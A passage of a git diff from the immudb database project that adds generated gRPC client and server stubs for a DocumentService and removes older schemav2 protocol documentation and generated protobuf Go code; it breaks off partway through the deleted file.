CollectionGet(ctx context.Context, in *CollectionGetRequest, opts ...grpc.CallOption) (*CollectionGetResponse, error) + CollectionList(ctx context.Context, in *CollectionListRequest, opts ...grpc.CallOption) (*CollectionListResponse, error) + CollectionDelete(ctx context.Context, in *CollectionDeleteRequest, opts ...grpc.CallOption) (*CollectionDeleteResponse, error) +} + +type documentServiceClient struct { + cc grpc.ClientConnInterface +} + +func NewDocumentServiceClient(cc grpc.ClientConnInterface) DocumentServiceClient { + return &documentServiceClient{cc} +} + +func (c *documentServiceClient) DocumentInsert(ctx context.Context, in *DocumentInsertRequest, opts ...grpc.CallOption) (*DocumentInsertResponse, error) { + out := new(DocumentInsertResponse) + err := c.cc.Invoke(ctx, "/immudb.documentsschema.DocumentService/DocumentInsert", in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + +func (c *documentServiceClient) DocumentSearch(ctx context.Context, in *DocumentSearchRequest, opts ...grpc.CallOption) (*DocumentSearchResponse, error) { + out := new(DocumentSearchResponse) + err := c.cc.Invoke(ctx, "/immudb.documentsschema.DocumentService/DocumentSearch", in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + +func (c *documentServiceClient) CollectionCreate(ctx context.Context, in *CollectionCreateRequest, opts ...grpc.CallOption) (*CollectionCreateResponse, error) { + out := new(CollectionCreateResponse) + err := c.cc.Invoke(ctx, "/immudb.documentsschema.DocumentService/CollectionCreate", in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + +func (c *documentServiceClient) CollectionGet(ctx context.Context, in *CollectionGetRequest, opts ...grpc.CallOption) (*CollectionGetResponse, error) { + out := new(CollectionGetResponse) + err := c.cc.Invoke(ctx, "/immudb.documentsschema.DocumentService/CollectionGet", in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + +func (c *documentServiceClient) CollectionList(ctx context.Context, in *CollectionListRequest, opts ...grpc.CallOption) (*CollectionListResponse, error) { + out := new(CollectionListResponse) + err := c.cc.Invoke(ctx, "/immudb.documentsschema.DocumentService/CollectionList", in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + +func (c *documentServiceClient) CollectionDelete(ctx context.Context, in *CollectionDeleteRequest, opts ...grpc.CallOption) (*CollectionDeleteResponse, error) { + out := new(CollectionDeleteResponse) + err := c.cc.Invoke(ctx, "/immudb.documentsschema.DocumentService/CollectionDelete", in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + +// DocumentServiceServer is the server API for DocumentService service. +// All implementations should embed UnimplementedDocumentServiceServer +// for forward compatibility +type DocumentServiceServer interface { + DocumentInsert(context.Context, *DocumentInsertRequest) (*DocumentInsertResponse, error) + DocumentSearch(context.Context, *DocumentSearchRequest) (*DocumentSearchResponse, error) + CollectionCreate(context.Context, *CollectionCreateRequest) (*CollectionCreateResponse, error) + CollectionGet(context.Context, *CollectionGetRequest) (*CollectionGetResponse, error) + CollectionList(context.Context, *CollectionListRequest) (*CollectionListResponse, error) + CollectionDelete(context.Context, *CollectionDeleteRequest) (*CollectionDeleteResponse, error) +} + +// UnimplementedDocumentServiceServer should be embedded to have forward compatible implementations. +type UnimplementedDocumentServiceServer struct { +} + +func (UnimplementedDocumentServiceServer) DocumentInsert(context.Context, *DocumentInsertRequest) (*DocumentInsertResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method DocumentInsert not implemented") +} +func (UnimplementedDocumentServiceServer) DocumentSearch(context.Context, *DocumentSearchRequest) (*DocumentSearchResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method DocumentSearch not implemented") +} +func (UnimplementedDocumentServiceServer) CollectionCreate(context.Context, *CollectionCreateRequest) (*CollectionCreateResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method CollectionCreate not implemented") +} +func (UnimplementedDocumentServiceServer) CollectionGet(context.Context, *CollectionGetRequest) (*CollectionGetResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method CollectionGet not implemented") +} +func (UnimplementedDocumentServiceServer) CollectionList(context.Context, *CollectionListRequest) (*CollectionListResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method CollectionList not implemented") +} +func (UnimplementedDocumentServiceServer) CollectionDelete(context.Context, *CollectionDeleteRequest) (*CollectionDeleteResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method CollectionDelete not implemented") +} + +// UnsafeDocumentServiceServer may be embedded to opt out of forward compatibility for this service. +// Use of this interface is not recommended, as added methods to DocumentServiceServer will +// result in compilation errors. +type UnsafeDocumentServiceServer interface { + mustEmbedUnimplementedDocumentServiceServer() +} + +func RegisterDocumentServiceServer(s grpc.ServiceRegistrar, srv DocumentServiceServer) { + s.RegisterService(&DocumentService_ServiceDesc, srv) +} + +func _DocumentService_DocumentInsert_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(DocumentInsertRequest) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(DocumentServiceServer).DocumentInsert(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: "/immudb.documentsschema.DocumentService/DocumentInsert", + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(DocumentServiceServer).DocumentInsert(ctx, req.(*DocumentInsertRequest)) + } + return interceptor(ctx, in, info, handler) +} + +func _DocumentService_DocumentSearch_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(DocumentSearchRequest) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(DocumentServiceServer).DocumentSearch(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: "/immudb.documentsschema.DocumentService/DocumentSearch", + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(DocumentServiceServer).DocumentSearch(ctx, req.(*DocumentSearchRequest)) + } + return interceptor(ctx, in, info, handler) +} + +func _DocumentService_CollectionCreate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(CollectionCreateRequest) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(DocumentServiceServer).CollectionCreate(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: "/immudb.documentsschema.DocumentService/CollectionCreate", + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(DocumentServiceServer).CollectionCreate(ctx, req.(*CollectionCreateRequest)) + } + return interceptor(ctx, in, info, handler) +} + +func _DocumentService_CollectionGet_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(CollectionGetRequest) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(DocumentServiceServer).CollectionGet(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: "/immudb.documentsschema.DocumentService/CollectionGet", + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(DocumentServiceServer).CollectionGet(ctx, req.(*CollectionGetRequest)) + } + return interceptor(ctx, in, info, handler) +} + +func _DocumentService_CollectionList_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(CollectionListRequest) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(DocumentServiceServer).CollectionList(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: "/immudb.documentsschema.DocumentService/CollectionList", + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(DocumentServiceServer).CollectionList(ctx, req.(*CollectionListRequest)) + } + return interceptor(ctx, in, info, handler) +} + +func _DocumentService_CollectionDelete_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(CollectionDeleteRequest) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(DocumentServiceServer).CollectionDelete(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: "/immudb.documentsschema.DocumentService/CollectionDelete", + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(DocumentServiceServer).CollectionDelete(ctx, req.(*CollectionDeleteRequest)) + } + return interceptor(ctx, in, info, handler) +} + +// DocumentService_ServiceDesc is the grpc.ServiceDesc for DocumentService service. +// It's only intended for direct use with grpc.RegisterService, +// and not to be introspected or modified (even as a copy) +var DocumentService_ServiceDesc = grpc.ServiceDesc{ + ServiceName: "immudb.documentsschema.DocumentService", + HandlerType: (*DocumentServiceServer)(nil), + Methods: []grpc.MethodDesc{ + { + MethodName: "DocumentInsert", + Handler: _DocumentService_DocumentInsert_Handler, + }, + { + MethodName: "DocumentSearch", + Handler: _DocumentService_DocumentSearch_Handler, + }, + { + MethodName: "CollectionCreate", + Handler: _DocumentService_CollectionCreate_Handler, + }, + { + MethodName: "CollectionGet", + Handler: _DocumentService_CollectionGet_Handler, + }, + { + MethodName: "CollectionList", + Handler: _DocumentService_CollectionList_Handler, + }, + { + MethodName: "CollectionDelete", + Handler: _DocumentService_CollectionDelete_Handler, + }, + }, + Streams: []grpc.StreamDesc{}, + Metadata: "documentsschema.proto", +} diff --git a/pkg/api/schemav2/docs.md b/pkg/api/schemav2/docs.md deleted file mode 100644 index 8e1641914c..0000000000 --- a/pkg/api/schemav2/docs.md +++ /dev/null @@ -1,384 +0,0 @@ -# Protocol Documentation - - -## Table of Contents - -- [schemav2.proto](#schemav2.proto) - - [CollectionCreateRequest](#immudb.schemav2.CollectionCreateRequest) - - [CollectionCreateRequest.IndexKeysEntry](#immudb.schemav2.CollectionCreateRequest.IndexKeysEntry) - - [CollectionCreateRequest.PrimaryKeysEntry](#immudb.schemav2.CollectionCreateRequest.PrimaryKeysEntry) - - [CollectionDeleteRequest](#immudb.schemav2.CollectionDeleteRequest) - - [CollectionGetRequest](#immudb.schemav2.CollectionGetRequest) - - [CollectionInformation](#immudb.schemav2.CollectionInformation) - - [CollectionInformation.IndexKeysEntry](#immudb.schemav2.CollectionInformation.IndexKeysEntry) - - [CollectionInformation.PrimaryKeysEntry](#immudb.schemav2.CollectionInformation.PrimaryKeysEntry) - - [CollectionListRequest](#immudb.schemav2.CollectionListRequest) - - [CollectionListResponse](#immudb.schemav2.CollectionListResponse) - - [DocumentInsertRequest](#immudb.schemav2.DocumentInsertRequest) - - [DocumentQuery](#immudb.schemav2.DocumentQuery) - - [DocumentSearchRequest](#immudb.schemav2.DocumentSearchRequest) - - [DocumentSearchResponse](#immudb.schemav2.DocumentSearchResponse) - - [LoginRequest](#immudb.schemav2.LoginRequest) - - [LoginResponseV2](#immudb.schemav2.LoginResponseV2) - - [Proof](#immudb.schemav2.Proof) - - - [PossibleIndexType](#immudb.schemav2.PossibleIndexType) - - [QueryOperator](#immudb.schemav2.QueryOperator) - - - [ImmuServiceV2](#immudb.schemav2.ImmuServiceV2) - -- [Scalar Value Types](#scalar-value-types) - - - - -

Top

- -## schemav2.proto - - - - - -### CollectionCreateRequest - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| name | [string](#string) | | | -| primaryKeys | [CollectionCreateRequest.PrimaryKeysEntry](#immudb.schemav2.CollectionCreateRequest.PrimaryKeysEntry) | repeated | | -| indexKeys | [CollectionCreateRequest.IndexKeysEntry](#immudb.schemav2.CollectionCreateRequest.IndexKeysEntry) | repeated | | - - - - - - - - -### CollectionCreateRequest.IndexKeysEntry - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| key | [string](#string) | | | -| value | [PossibleIndexType](#immudb.schemav2.PossibleIndexType) | | | - - - - - - - - -### CollectionCreateRequest.PrimaryKeysEntry - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| key | [string](#string) | | | -| value | [PossibleIndexType](#immudb.schemav2.PossibleIndexType) | | | - - - - - - - - -### CollectionDeleteRequest - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| name | [string](#string) | | | - - - - - - - - -### CollectionGetRequest - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| name | [string](#string) | | | - - - - - - - - -### CollectionInformation - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| name | [string](#string) | | | -| primaryKeys | [CollectionInformation.PrimaryKeysEntry](#immudb.schemav2.CollectionInformation.PrimaryKeysEntry) | repeated | | -| indexKeys | [CollectionInformation.IndexKeysEntry](#immudb.schemav2.CollectionInformation.IndexKeysEntry) | repeated | | - - - - - - - - -### CollectionInformation.IndexKeysEntry - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| key | [string](#string) | | | -| value | [PossibleIndexType](#immudb.schemav2.PossibleIndexType) | | | - - - - - - - - -### CollectionInformation.PrimaryKeysEntry - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| key | [string](#string) | | | -| value | [PossibleIndexType](#immudb.schemav2.PossibleIndexType) | | | - - - - - - - - -### CollectionListRequest - - - - - - - - - -### CollectionListResponse - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| collections | [CollectionInformation](#immudb.schemav2.CollectionInformation) | repeated | | - - - - - - - - -### DocumentInsertRequest - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| collection | [string](#string) | | | -| document | [google.protobuf.Struct](#google.protobuf.Struct) | repeated | | - - - - - - - - -### DocumentQuery - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| field | [string](#string) | | | -| operator | [QueryOperator](#immudb.schemav2.QueryOperator) | | | -| value | [google.protobuf.Value](#google.protobuf.Value) | | | - - - - - - - - -### DocumentSearchRequest - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| collection | [string](#string) | | | -| query | [DocumentQuery](#immudb.schemav2.DocumentQuery) | repeated | | -| page | [uint32](#uint32) | | | -| perPage | [uint32](#uint32) | | | - - - - - - - - -### DocumentSearchResponse - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| results | [google.protobuf.Struct](#google.protobuf.Struct) | repeated | | -| page | [uint32](#uint32) | | | -| perPage | [uint32](#uint32) | | | -| entriesLeft | [uint32](#uint32) | | | - - - - - - - - -### LoginRequest - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| username | [string](#string) | | | -| password | [string](#string) | | | -| database | [string](#string) | | | - - - - - - - - -### LoginResponseV2 - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| token | [string](#string) | | | -| expirationTimestamp | [int32](#int32) | | | - - - - - - - - -### Proof - - - -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| name | [string](#string) | | | - - - - - - - - - - -### PossibleIndexType - - -| Name | Number | Description | -| ---- | ------ | ----------- | -| DOUBLE | 0 | | -| INTEGER | 1 | | -| STRING | 2 | | - - - - - -### QueryOperator - - -| Name | Number | Description | -| ---- | ------ | ----------- | -| EQ | 0 | | -| GT | 1 | | -| GTE | 2 | | -| LT | 3 | | -| LTE | 4 | | -| LIKE | 5 | | - - - - - - - - - -### ImmuServiceV2 - - -| Method Name | Request Type | Response Type | Description | -| ----------- | ------------ | ------------- | ------------| -| LoginV2 | [LoginRequest](#immudb.schemav2.LoginRequest) | [LoginResponseV2](#immudb.schemav2.LoginResponseV2) | | -| DocumentInsert | [DocumentInsertRequest](#immudb.schemav2.DocumentInsertRequest) | [.immudb.schema.VerifiableTx](#immudb.schema.VerifiableTx) | | -| DocumentSearch | [DocumentSearchRequest](#immudb.schemav2.DocumentSearchRequest) | [DocumentSearchResponse](#immudb.schemav2.DocumentSearchResponse) | | -| CollectionCreate | [CollectionCreateRequest](#immudb.schemav2.CollectionCreateRequest) | [CollectionInformation](#immudb.schemav2.CollectionInformation) | | -| CollectionGet | [CollectionGetRequest](#immudb.schemav2.CollectionGetRequest) | [CollectionInformation](#immudb.schemav2.CollectionInformation) | | -| CollectionList | [CollectionListRequest](#immudb.schemav2.CollectionListRequest) | [CollectionListResponse](#immudb.schemav2.CollectionListResponse) | | -| CollectionDelete | [CollectionDeleteRequest](#immudb.schemav2.CollectionDeleteRequest) | [.google.protobuf.Empty](#google.protobuf.Empty) | | - - - - - -## Scalar Value Types - -| .proto Type | Notes | C++ | Java | Python | Go | C# | PHP | Ruby | -| ----------- | ----- | --- | ---- | ------ | -- | -- | --- | ---- | -| double | | double | double | float | float64 | double | float | Float | -| float | | float | float | float | float32 | float | float | Float | -| int32 | Uses variable-length encoding. Inefficient for encoding negative numbers – if your field is likely to have negative values, use sint32 instead. | int32 | int | int | int32 | int | integer | Bignum or Fixnum (as required) | -| int64 | Uses variable-length encoding. Inefficient for encoding negative numbers – if your field is likely to have negative values, use sint64 instead. | int64 | long | int/long | int64 | long | integer/string | Bignum | -| uint32 | Uses variable-length encoding. | uint32 | int | int/long | uint32 | uint | integer | Bignum or Fixnum (as required) | -| uint64 | Uses variable-length encoding. | uint64 | long | int/long | uint64 | ulong | integer/string | Bignum or Fixnum (as required) | -| sint32 | Uses variable-length encoding. Signed int value. These more efficiently encode negative numbers than regular int32s. | int32 | int | int | int32 | int | integer | Bignum or Fixnum (as required) | -| sint64 | Uses variable-length encoding. Signed int value. These more efficiently encode negative numbers than regular int64s. | int64 | long | int/long | int64 | long | integer/string | Bignum | -| fixed32 | Always four bytes. More efficient than uint32 if values are often greater than 2^28. | uint32 | int | int | uint32 | uint | integer | Bignum or Fixnum (as required) | -| fixed64 | Always eight bytes. More efficient than uint64 if values are often greater than 2^56. | uint64 | long | int/long | uint64 | ulong | integer/string | Bignum | -| sfixed32 | Always four bytes. | int32 | int | int | int32 | int | integer | Bignum or Fixnum (as required) | -| sfixed64 | Always eight bytes. | int64 | long | int/long | int64 | long | integer/string | Bignum | -| bool | | bool | boolean | boolean | bool | bool | boolean | TrueClass/FalseClass | -| string | A string must always contain UTF-8 encoded or 7-bit ASCII text. | string | String | str/unicode | string | string | string | String (UTF-8) | -| bytes | May contain any arbitrary sequence of bytes. | string | ByteString | str | []byte | ByteString | string | String (ASCII-8BIT) | - diff --git a/pkg/api/schemav2/schemav2.pb.go b/pkg/api/schemav2/schemav2.pb.go deleted file mode 100644 index 0f662e0cd3..0000000000 --- a/pkg/api/schemav2/schemav2.pb.go +++ /dev/null @@ -1,1336 +0,0 @@ -// Code generated by protoc-gen-go. DO NOT EDIT. -// versions: -// protoc-gen-go v1.28.0 -// protoc v3.12.4 -// source: schemav2.proto - -package schemav2 - -import ( - schema "github.com/codenotary/immudb/pkg/api/schema" - empty "github.com/golang/protobuf/ptypes/empty" - _struct "github.com/golang/protobuf/ptypes/struct" - _ "github.com/grpc-ecosystem/grpc-gateway/protoc-gen-swagger/options" - _ "google.golang.org/genproto/googleapis/api/annotations" - protoreflect "google.golang.org/protobuf/reflect/protoreflect" - protoimpl "google.golang.org/protobuf/runtime/protoimpl" - reflect "reflect" - sync "sync" -) - -const ( - // Verify that this generated code is sufficiently up-to-date. - _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) - // Verify that runtime/protoimpl is sufficiently up-to-date. - _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) -) - -type QueryOperator int32 - -const ( - QueryOperator_EQ QueryOperator = 0 - QueryOperator_GT QueryOperator = 1 - QueryOperator_GTE QueryOperator = 2 - QueryOperator_LT QueryOperator = 3 - QueryOperator_LTE QueryOperator = 4 - QueryOperator_LIKE QueryOperator = 5 -) - -// Enum value maps for QueryOperator. -var ( - QueryOperator_name = map[int32]string{ - 0: "EQ", - 1: "GT", - 2: "GTE", - 3: "LT", - 4: "LTE", - 5: "LIKE", - } - QueryOperator_value = map[string]int32{ - "EQ": 0, - "GT": 1, - "GTE": 2, - "LT": 3, - "LTE": 4, - "LIKE": 5, - } -) - -func (x QueryOperator) Enum() *QueryOperator { - p := new(QueryOperator) - *p = x - return p -} - -func (x QueryOperator) String() string { - return protoimpl.X.EnumStringOf(x.Descriptor(), protoreflect.EnumNumber(x)) -} - -func (QueryOperator) Descriptor() protoreflect.EnumDescriptor { - return file_schemav2_proto_enumTypes[0].Descriptor() -} - -func (QueryOperator) Type() protoreflect.EnumType { - return &file_schemav2_proto_enumTypes[0] -} - -func (x QueryOperator) Number() protoreflect.EnumNumber { - return protoreflect.EnumNumber(x) -} - -// Deprecated: Use QueryOperator.Descriptor instead. -func (QueryOperator) EnumDescriptor() ([]byte, []int) { - return file_schemav2_proto_rawDescGZIP(), []int{0} -} - -type PossibleIndexType int32 - -const ( - PossibleIndexType_DOUBLE PossibleIndexType = 0 - PossibleIndexType_INTEGER PossibleIndexType = 1 - PossibleIndexType_STRING PossibleIndexType = 2 -) - -// Enum value maps for PossibleIndexType. -var ( - PossibleIndexType_name = map[int32]string{ - 0: "DOUBLE", - 1: "INTEGER", - 2: "STRING", - } - PossibleIndexType_value = map[string]int32{ - "DOUBLE": 0, - "INTEGER": 1, - "STRING": 2, - } -) - -func (x PossibleIndexType) Enum() *PossibleIndexType { - p := new(PossibleIndexType) - *p = x - return p -} - -func (x PossibleIndexType) String() string { - return protoimpl.X.EnumStringOf(x.Descriptor(), protoreflect.EnumNumber(x)) -} - -func (PossibleIndexType) Descriptor() protoreflect.EnumDescriptor { - return file_schemav2_proto_enumTypes[1].Descriptor() -} - -func (PossibleIndexType) Type() protoreflect.EnumType { - return &file_schemav2_proto_enumTypes[1] -} - -func (x PossibleIndexType) Number() protoreflect.EnumNumber { - return protoreflect.EnumNumber(x) -} - -// Deprecated: Use PossibleIndexType.Descriptor instead. -func (PossibleIndexType) EnumDescriptor() ([]byte, []int) { - return file_schemav2_proto_rawDescGZIP(), []int{1} -} - -type DocumentInsertRequest struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` - Document []*_struct.Struct `protobuf:"bytes,2,rep,name=document,proto3" json:"document,omitempty"` -} - -func (x *DocumentInsertRequest) Reset() { - *x = DocumentInsertRequest{} - if protoimpl.UnsafeEnabled { - mi := &file_schemav2_proto_msgTypes[0] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *DocumentInsertRequest) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*DocumentInsertRequest) ProtoMessage() {} - -func (x *DocumentInsertRequest) ProtoReflect() protoreflect.Message { - mi := &file_schemav2_proto_msgTypes[0] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use DocumentInsertRequest.ProtoReflect.Descriptor instead. -func (*DocumentInsertRequest) Descriptor() ([]byte, []int) { - return file_schemav2_proto_rawDescGZIP(), []int{0} -} - -func (x *DocumentInsertRequest) GetCollection() string { - if x != nil { - return x.Collection - } - return "" -} - -func (x *DocumentInsertRequest) GetDocument() []*_struct.Struct { - if x != nil { - return x.Document - } - return nil -} - -type DocumentQuery struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Field string `protobuf:"bytes,1,opt,name=field,proto3" json:"field,omitempty"` - Operator QueryOperator `protobuf:"varint,2,opt,name=operator,proto3,enum=immudb.schemav2.QueryOperator" json:"operator,omitempty"` - Value *_struct.Value `protobuf:"bytes,3,opt,name=value,proto3" json:"value,omitempty"` -} - -func (x *DocumentQuery) Reset() { - *x = DocumentQuery{} - if protoimpl.UnsafeEnabled { - mi := &file_schemav2_proto_msgTypes[1] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *DocumentQuery) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*DocumentQuery) ProtoMessage() {} - -func (x *DocumentQuery) ProtoReflect() protoreflect.Message { - mi := &file_schemav2_proto_msgTypes[1] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use DocumentQuery.ProtoReflect.Descriptor instead. -func (*DocumentQuery) Descriptor() ([]byte, []int) { - return file_schemav2_proto_rawDescGZIP(), []int{1} -} - -func (x *DocumentQuery) GetField() string { - if x != nil { - return x.Field - } - return "" -} - -func (x *DocumentQuery) GetOperator() QueryOperator { - if x != nil { - return x.Operator - } - return QueryOperator_EQ -} - -func (x *DocumentQuery) GetValue() *_struct.Value { - if x != nil { - return x.Value - } - return nil -} - -type DocumentSearchRequest struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` - Query []*DocumentQuery `protobuf:"bytes,2,rep,name=query,proto3" json:"query,omitempty"` - Page uint32 `protobuf:"varint,3,opt,name=page,proto3" json:"page,omitempty"` - PerPage uint32 `protobuf:"varint,4,opt,name=perPage,proto3" json:"perPage,omitempty"` -} - -func (x *DocumentSearchRequest) Reset() { - *x = DocumentSearchRequest{} - if protoimpl.UnsafeEnabled { - mi := &file_schemav2_proto_msgTypes[2] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *DocumentSearchRequest) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*DocumentSearchRequest) ProtoMessage() {} - -func (x *DocumentSearchRequest) ProtoReflect() protoreflect.Message { - mi := &file_schemav2_proto_msgTypes[2] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use DocumentSearchRequest.ProtoReflect.Descriptor instead. -func (*DocumentSearchRequest) Descriptor() ([]byte, []int) { - return file_schemav2_proto_rawDescGZIP(), []int{2} -} - -func (x *DocumentSearchRequest) GetCollection() string { - if x != nil { - return x.Collection - } - return "" -} - -func (x *DocumentSearchRequest) GetQuery() []*DocumentQuery { - if x != nil { - return x.Query - } - return nil -} - -func (x *DocumentSearchRequest) GetPage() uint32 { - if x != nil { - return x.Page - } - return 0 -} - -func (x *DocumentSearchRequest) GetPerPage() uint32 { - if x != nil { - return x.PerPage - } - return 0 -} - -type DocumentSearchResponse struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Results []*_struct.Struct `protobuf:"bytes,1,rep,name=results,proto3" json:"results,omitempty"` - Page uint32 `protobuf:"varint,2,opt,name=page,proto3" json:"page,omitempty"` - PerPage uint32 `protobuf:"varint,3,opt,name=perPage,proto3" json:"perPage,omitempty"` - EntriesLeft uint32 `protobuf:"varint,4,opt,name=entriesLeft,proto3" json:"entriesLeft,omitempty"` -} - -func (x *DocumentSearchResponse) Reset() { - *x = DocumentSearchResponse{} - if protoimpl.UnsafeEnabled { - mi := &file_schemav2_proto_msgTypes[3] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *DocumentSearchResponse) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*DocumentSearchResponse) ProtoMessage() {} - -func (x *DocumentSearchResponse) ProtoReflect() protoreflect.Message { - mi := &file_schemav2_proto_msgTypes[3] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use DocumentSearchResponse.ProtoReflect.Descriptor instead. -func (*DocumentSearchResponse) Descriptor() ([]byte, []int) { - return file_schemav2_proto_rawDescGZIP(), []int{3} -} - -func (x *DocumentSearchResponse) GetResults() []*_struct.Struct { - if x != nil { - return x.Results - } - return nil -} - -func (x *DocumentSearchResponse) GetPage() uint32 { - if x != nil { - return x.Page - } - return 0 -} - -func (x *DocumentSearchResponse) GetPerPage() uint32 { - if x != nil { - return x.PerPage - } - return 0 -} - -func (x *DocumentSearchResponse) GetEntriesLeft() uint32 { - if x != nil { - return x.EntriesLeft - } - return 0 -} - -type LoginRequest struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Username string `protobuf:"bytes,1,opt,name=username,proto3" json:"username,omitempty"` - Password string `protobuf:"bytes,2,opt,name=password,proto3" json:"password,omitempty"` - Database string `protobuf:"bytes,3,opt,name=database,proto3" json:"database,omitempty"` -} - -func (x *LoginRequest) Reset() { - *x = LoginRequest{} - if protoimpl.UnsafeEnabled { - mi := &file_schemav2_proto_msgTypes[4] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *LoginRequest) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*LoginRequest) ProtoMessage() {} - -func (x *LoginRequest) ProtoReflect() protoreflect.Message { - mi := &file_schemav2_proto_msgTypes[4] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use LoginRequest.ProtoReflect.Descriptor instead. -func (*LoginRequest) Descriptor() ([]byte, []int) { - return 